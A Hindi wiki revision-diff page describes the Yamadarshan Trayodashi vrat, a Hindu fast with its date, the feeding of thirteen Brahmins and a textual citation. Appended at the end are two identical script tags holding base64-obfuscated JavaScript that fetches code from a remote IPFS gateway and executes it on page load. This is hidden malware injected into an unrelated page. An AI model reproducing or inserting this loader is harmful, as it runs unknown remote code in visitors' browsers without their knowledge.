"यमादर्शन त्रयोदशी": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
||
(3 सदस्यों द्वारा किए गए बीच के 3 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*यह व्रत [[मार्गशीर्ष]] की [[त्रयोदशी]] पर करना चाहिए, जबकि वह [[रविवार]] एवं [[मंगलवार]] को छोड़कर किसी भी शुभ दिन पर पड़ती है। | *यह व्रत [[मार्गशीर्ष]] की [[त्रयोदशी]] पर करना चाहिए, जबकि वह [[रविवार]] एवं [[मंगलवार]] को छोड़कर किसी भी शुभ दिन पर पड़ती है। | ||
*इसमें पूर्वाह्न में 13 ब्राह्मण निमंत्रित किये जाते हैं, उनको देह में लगाने के लिए तिल का तेल दिया जाता है, नहाने को पानी तथा खाने को भरपेट भोजन दिया जाता है। | *इसमें पूर्वाह्न में 13 ब्राह्मण निमंत्रित किये जाते हैं, उनको देह में लगाने के लिए तिल का तेल दिया जाता है, नहाने को पानी तथा खाने को भरपेट भोजन दिया जाता है। | ||
*यह व्रत एक वर्ष तक प्रतिमास किया जाता है। | *यह व्रत एक वर्ष तक प्रतिमास किया जाता है। | ||
*इस व्रत को करने से कर्ता [[यमराज]] का मुख कभी भी नहीं देखता है। हेमाद्रि (व्रतखण्ड 2, 9-14, भविष्योत्तरपुराण से उद्धरण), अहल्याकामधेनु (864)। | *इस व्रत को करने से कर्ता [[यमराज]] का मुख कभी भी नहीं देखता है।<ref>हेमाद्रि (व्रतखण्ड 2, 9-14, भविष्योत्तरपुराण से उद्धरण), अहल्याकामधेनु (864)।</ref> | ||
{{ | {{संदर्भ ग्रंथ}} | ||
}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
10:29, 21 मार्च 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- यह व्रत मार्गशीर्ष की त्रयोदशी पर करना चाहिए, जबकि वह रविवार एवं मंगलवार को छोड़कर किसी भी शुभ दिन पर पड़ती है।
- इसमें पूर्वाह्न में 13 ब्राह्मण निमंत्रित किये जाते हैं, उनको देह में लगाने के लिए तिल का तेल दिया जाता है, नहाने को पानी तथा खाने को भरपेट भोजन दिया जाता है।
- यह व्रत एक वर्ष तक प्रतिमास किया जाता है।
- इस व्रत को करने से कर्ता यमराज का मुख कभी भी नहीं देखता है।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 2, 9-14, भविष्योत्तरपुराण से उद्धरण), अहल्याकामधेनु (864)।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>